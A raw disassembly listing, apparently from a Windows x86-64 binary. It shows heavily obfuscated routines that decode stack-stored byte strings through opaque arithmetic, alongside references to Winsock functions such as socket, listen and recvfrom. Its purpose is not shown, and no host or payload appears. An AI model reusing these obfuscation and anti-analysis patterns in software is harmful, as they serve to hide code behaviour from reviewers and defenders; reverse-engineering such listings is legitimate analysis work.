sub dil, al
sub dil, 0x22
add dil, dl
jmp 0x14007b254
add r9b, 0x60
movzx eax, r10b
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007b276
add r9b, 0x72
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x1e
jmp 0x14007b279
lea edx, [r9 - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14007b16d
sub r9b, 0x6a
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1a
add dil, r9b
jmp 0x14007b2a4
sub r9b, 0x58
movzx eax, r10b
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x2b0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007a913
add r9b, 0x55
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x53
mov byte [rbp + r11 + 0x2b0], dil
inc r11
jmp 0x14007a913
lea edx, [r9 + 0x67]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x2f
add dil, dl
cmp r8, 0x7a
jb 0x14007ac91
lea edx, [r9 + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14007b1ec
lea edx, [r9 + 0x79]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x4f
add dil, dl
cmp rbx, 0x3e8
jae 0x14007b0d0
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x14007aff6
lea edx, [r9 + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14007acb8
lea ecx, [r9 - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x33
lea rax, [rbx + r8]
cmp rax, 0x41
je 0x14007b0f2
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x14007af13
lea edx, [r9 + 0x5b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7d
jmp 0x14007acf8
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
jmp 0x14007b279
sub r9b, 0x26
movzx eax, r9b
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007b276
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x14007b254
sub r9b, 2
movzx eax, r9b
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007a913
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x14007a913
lea edx, [r9 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007b1ec
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x14007ae5f
lea ecx, [r9 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x41
jmp 0x14007ad44
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007ae9a
sub r9b, 0x7a
movzx eax, r9b
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2b0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007a913
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007aec0
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
jmp 0x14007b2a4
cmp rbx, rcx
jne 0x14007aee0
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x14007b254
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007ad44
add r9b, 0x1a
movzx eax, r9b
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007a913
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007af3a
lea edx, [r9 + 0x49]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
inc dil
add dil, dl
jmp 0x14007b1ec
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007af69
add r9b, 0x37
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x7f
inc r8
dec r11
inc r11
jmp 0x14007a913
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007af95
add r9b, 0x25
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 3
dec r11
inc r11
jmp 0x14007a913
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007afba
inc r9b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 7
jmp 0x14007b276
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14007acfb
sub r9b, 0x47
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xf
movzx eax, byte [rbp + r11 + 0x2b0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007a913
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007b02e
add r9b, 0xc
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x54
movzx eax, byte [rbp + r11 + 0x2b0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007a913
cmp rbx, rcx
jne 0x14007b052
lea edx, [r9 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x58
add dil, dl
jmp 0x14007b16d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007b078
sub r9b, 0x3c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5c
jmp 0x14007b276
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007b0a4
sub r9b, 0x60
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x60
dec r11
inc r11
jmp 0x14007a913
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007acbb
lea edx, [r9 + 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x64
add dil, dl
jmp 0x14007b1ec
lea edx, [r9 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
add dil, r10b
add dil, dl
jmp 0x14007b254
lea edx, [r9 + 0x46]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007b16d
add r9b, 0x21
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x19
movzx eax, byte [rbp + r11 + 0x2b0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007a913
add r9b, 0x33
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x65
jmp 0x14007b2a4
lea ecx, [r9 + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1d
sub r9b, 0x43
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x2b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x2b0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14007b2a4
lea ecx, [r9 + 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5d
jmp 0x14007b254
lea ecx, [r9 - 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x29
jmp 0x14007b1ec
movzx r9d, r11b
lea ecx, [r9 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2d
sub r9b, 0x1f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x27
add r10b, r9b
mov byte [rbp + r11 + 0x2b0], r10b
inc r8
dec r11
inc r11
jmp 0x14007a913
lea ecx, [r11 - 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x31
dec r11
inc r11
jmp 0x14007a913
movzx r9d, r11b
lea ecx, [r9 + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4d
sub r9b, 0x31
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x57
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x2b0], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007a913
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x45
lea ecx, [r11 + 0x34]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x6c
add r10b, cl
mov byte [rbp + r11 + 0x2b0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x2b0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007a913
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x3d
movzx eax, byte [rbp + r11 + 0x2b0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007a913
sub r9b, 0x2d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x3b
jmp 0x14007a910
sub r9b, 0x1b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x43
jmp 0x14007a900
lea rcx, [rbp + 0x15f3aa4]
jmp 0x14007b365
lea rcx, [rbp + 0x4f691b]
jmp 0x14007b365
lea rcx, [rbp + 0x2b0]
lea rdx, [0x1401db6b3]
call fcn.14003a4c0
mov byte [rbp + 0x4e0], 0xe1
mov byte [rbp + 0x4e1], 0xbf
mov byte [rbp + 0x4e2], 0xcb
mov byte [rbp + 0x4e3], 0xc5
mov byte [rbp + 0x4e4], 0xbc
mov byte [rbp + 0x4e5], 0xc4
mov byte [rbp + 0x4e6], 0xf6
mov byte [rbp + 0x4e7], 0x2d
mov byte [rbp + 0x4e8], 0x3d
mov byte [rbp + 0x4e9], 0x4a
mov byte [rbp + 0x4ea], 0x3b
mov byte [rbp + 0x4eb], 0x3d
mov byte [rbp + 0x4ec], 0x44
mov byte [rbp + 0x4ed], 0x3c
mov byte [rbp + 0x4ee], 0xfe
mov byte [rbp + 0x4ef], 0x2c
mov byte [rbp + 0x4f0], 0x4e
mov byte [rbp + 0x4f1], 0x49
mov byte [rbp + 0x4f2], 0x43
mov byte [rbp + 0x4f3], 0xdb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4f4], xmm0
mov dword [rbp + 0x504], eax
mov word [rbp + 0x508], ax
movzx edi, byte [rsp + 0x50]
movabs rsi, 0xe21f7ddff93c3d7a
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop word [rax + rax]
xor r13d, r13d
cmp r13, 0x2a
jae 0x14007bd79
movzx r9d, byte [rbp + r13 + 0x4e0]
mov edx, r9d
mov qword [rsp + 0x60], rdx
nop
cmp rbx, r13
ja 0x14007bd70
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007b48c
lea rcx, [rsi + r13]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x56
jmp 0x14007b4b9
je 0x14007bce3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007bc96
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007bc34
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007bc09
movzx edx, r13b
nop dword [rax]
movzx r10d, dl
movzx r12d, dl
movzx r15d, dl
cmp r8, r13
ja 0x14007bd67
lea r11, [r8 + 1]
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x14007b504
lea ecx, [rdx + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
lea rcx, [r8 + 3]
lea rsi, [r8 + 2]
jmp 0x14007b541
cmp rbx, r11
je 0x14007bbb6
lea rsi, [r8 + 2]
cmp rbx, rsi
je 0x14007bb89
lea rcx, [r8 + 3]
cmp rbx, rcx
je 0x14007bb5f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007bb41
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007bb27
lea r14, [rbx + r8]
cmp r14, r13
jbe 0x14007b857
nop
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007b849
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14007b816
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007b7f6
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007b7d9
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007b7bc
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007b550
lea rbx, [r8 + 4]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14007bd4a
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007bd20
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007b67b
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14007b661
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007b77b
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14007b737
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x42]
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14007b71a
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14007b6fa
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14007b6da
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007b6bf
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14007b6a4
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007b550
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x28]
jmp 0x14007b550
lea ecx, [rdx + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x14007b4c0
add dl, 0x56
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x5a
mov rdx, qword [rsp + 0x60]
movabs rsi, 0xe21f7ddff93c3d7a
jmp 0x14007b460
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x14007bbcf
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x14007bc4e
add r10b, 0x40
movzx eax, r10b
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007bc70
add r10b, 0x64
movzx eax, r10b
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007bcb5
add r10b, 0x70
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x10
jmp 0x14007bcff
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x42
jb 0x14007baa5
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
mov edx, 0x1e
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14007bbcf
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
cmp rbx, 0x80
jae 0x14007babf
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x14007ba01
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
jmp 0x14007b746
add r10b, 0xc
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x54
jmp 0x14007bcff
add r10b, 0x30
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x50
jmp 0x14007bc73
add r10b, 0x3c
movzx eax, r10b
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007bc70
add r10b, 0x60
movzx eax, r10b
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r13
inc r13
movabs rsi, 0xe21f7ddff93c3d7a
jmp 0x14007b443
lea edx, [r10 + 0x6c]
mov ecx, 6
jmp 0x14007bbbe
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14007b8a7
add dl, 0x7a
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x56
cmp r14, 2
je 0x14007badd
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x14007b95c
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
jmp 0x14007b791
cmp rbx, r11
jne 0x14007b8c9
add r15b, 4
movzx eax, r15b
and al, r9b
add al, al
sub r15b, al
lea edi, [r9 + r15]
sub dil, 0x1c
jmp 0x14007bcff
cmp rbx, rcx
jne 0x14007b8eb
sub r12b, 0x14
movzx eax, r12b
and al, r9b
add al, al
sub r12b, al
lea edi, [r9 + r12]
sub dil, 0x74
jmp 0x14007baf4
cmp rbx, rsi
jne 0x14007b910
sub r10b, 0x2c
movzx eax, r10b
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007bc70
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007b934
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x14007bc4e
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007b875
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
jmp 0x14007bbcf
cmp rbx, r11
jne 0x14007b97c
lea ecx, [r10 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2a
jmp 0x14007bbcf
cmp rbx, rsi
jne 0x14007b9b4
sub r10b, 6
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r13
inc r13
movabs rsi, 0xe21f7ddff93c3d7a
jmp 0x14007b443
cmp rbx, rcx
jne 0x14007b9d9
sub r10b, 0x36
movzx eax, r10b
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007bc73
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007b791
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
jmp 0x14007baf4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007ba27
add r10b, 8
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x38
jmp 0x14007bcff
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007ba50
sub r10b, 4
movzx eax, r10b
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007bcb5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007ba79
sub r10b, 0x28
movzx eax, r10b
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007bc70
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007b751
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007bc4e
mov byte [rbp + r13 + 0x4e0], dil
inc r13
movabs rsi, 0xe21f7ddff93c3d7a
jmp 0x14007b443
lea edx, [r10 - 0x70]
movzx eax, r9b
and al, dl
movzx ecx, r9b
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007bc4e
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
sub r10b, 2
movzx eax, r9b
and al, r10b
mov ecx, 7
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r13 + 0x4e0], al
mov r8, r11
add rax, r11
sub r13, rax
jmp 0x14007bcb5
sub dl, 0x46
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x16
jmp 0x14007bc73
sub dl, 0x2e
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007bc4e
sub dl, 0x22
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x12
dec r13
inc r13
movabs rsi, 0xe21f7ddff93c3d7a
jmp 0x14007b443
sub dl, 0x16
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
sub dil, 0x66
inc r8
dec r13
inc r13
movabs rsi, 0xe21f7ddff93c3d7a
jmp 0x14007b443
sub dl, 0xa
mov ecx, 0x23
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r10b, 0x16
movzx eax, r10b
and al, r9b
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r13 + 0x4e0], cl
inc r8
dec r13
inc r13
movabs rsi, 0xe21f7ddff93c3d7a
jmp 0x14007b443
lea ecx, [r13 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
dec r13
inc r13
movabs rsi, 0xe21f7ddff93c3d7a
jmp 0x14007b443
movzx r10d, r13b
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
add r10b, 0xa
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x46
add r10b, dil
add r10b, r9b
mov byte [rbp + r13 + 0x4e0], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r13, rcx
inc r13
movabs rsi, 0xe21f7ddff93c3d7a
jmp 0x14007b443
movabs rcx, 0x6a9d755fde2d3362
add rcx, r13
and dl, cl
mov eax, 0x29
sub al, dl
lea edi, [rax + rax]
add dil, r9b
add dil, cl
lea ecx, [r13 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x48
add cl, r9b
mov byte [rbp + r13 + 0x4e0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r13, rax
jmp 0x14007bcff
movabs rax, 0xa65e799febb4b86e
add rax, r13
and dl, al
add dl, dl
sub r9b, dl
lea edi, [rax + r9]
sub dil, 2
movzx eax, byte [rbp + r13 + 0x4e0]
add rax, r8
add r13, rax
inc r13
movabs rsi, 0xe21f7ddff93c3d7a
jmp 0x14007b443
add r10b, 0x62
movzx eax, r10b
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movabs rsi, 0xe21f7ddff93c3d7a
jmp 0x14007b440
add r10b, 0x6e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 2
jmp 0x14007b41b
lea rcx, [rbp + 0x17952d8]
jmp 0x14007bd80
lea rcx, [rbp + 0xf59052]
jmp 0x14007bd80
lea rcx, [rbp + 0x4e0]
lea rdx, [0x1401db6b4]
call fcn.14003a4c0
mov byte [rbp + 0x510], 0xe1
mov byte [rbp + 0x511], 0x3f
mov byte [rbp + 0x512], recvfrom
mov byte [rbp + 0x513], 5
mov byte [rbp + 0x514], 0x3c
mov byte [rbp + 0x515], 4
mov byte [rbp + 0x516], 0xf6
mov byte [rbp + 0x517], 0xde
mov byte [rbp + 0x518], 0x3f
mov byte [rbp + 0x519], 7
mov byte [rbp + 0x51a], 1
mov byte [rbp + 0x51b], reloc.WS2_32.dll_listen
mov byte [rbp + 0x51c], 0x3d
mov byte [rbp + 0x51d], 0xf1
mov byte [rbp + 0x51e], 0xd2
mov byte [rbp + 0x51f], recvfrom
mov byte [rbp + 0x520], 7
mov byte [rbp + 0x521], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x522], gethostname
mov byte [rbp + 0x523], gethostname
mov byte [rbp + 0x524], 0x98
xor eax, eax
mov qword [rbp + 0x525], rax
mov dword [rbp + 0x52d], eax
mov word [rbp + 0x531], ax
movabs r14, 0x9bec2a1841acab9a
movabs r12, 0x437526a9cbb8b136
movabs r15, 0xd3c47e48c50602ce
movzx edi, byte [rsp + 0x50]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x23
jae 0x14007c9b7
movzx r9d, byte [rbp + r11 + 0x510]
mov esi, r9d
nop dword [rax]
cmp rbx, r11
ja 0x14007c9ae
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007bebc
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x36
jmp 0x14007bee9
je 0x14007c939
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007c8ab
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007c879
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007c835
movzx r10d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14007c9a5
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14007bf1a
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
jmp 0x14007bf60
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007c7eb
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007c7c5
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007c7a5
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007c785
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007c756
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14007c4e7
nop dword [rax]
lea rcx, [r8 + 6]
cmp rbx, rcx
je 0x14007c4cb
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007c4a2
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14007c47f
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007c463
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007c443
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007c426
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007c407
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007c3e7
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007c3b5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007bf70
mov rbx, rcx
lea r8, [rcx + 0x400]
lea rcx, [r8 + 8]
cmp rbx, rcx
jb 0x14007c985
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14007c968
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007c162
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007c143
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007c128
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14007c364
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007c317
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14007c2d6
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007c2ae
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007bf70
mov rbx, rcx
lea r8, [rcx + 0x1000]
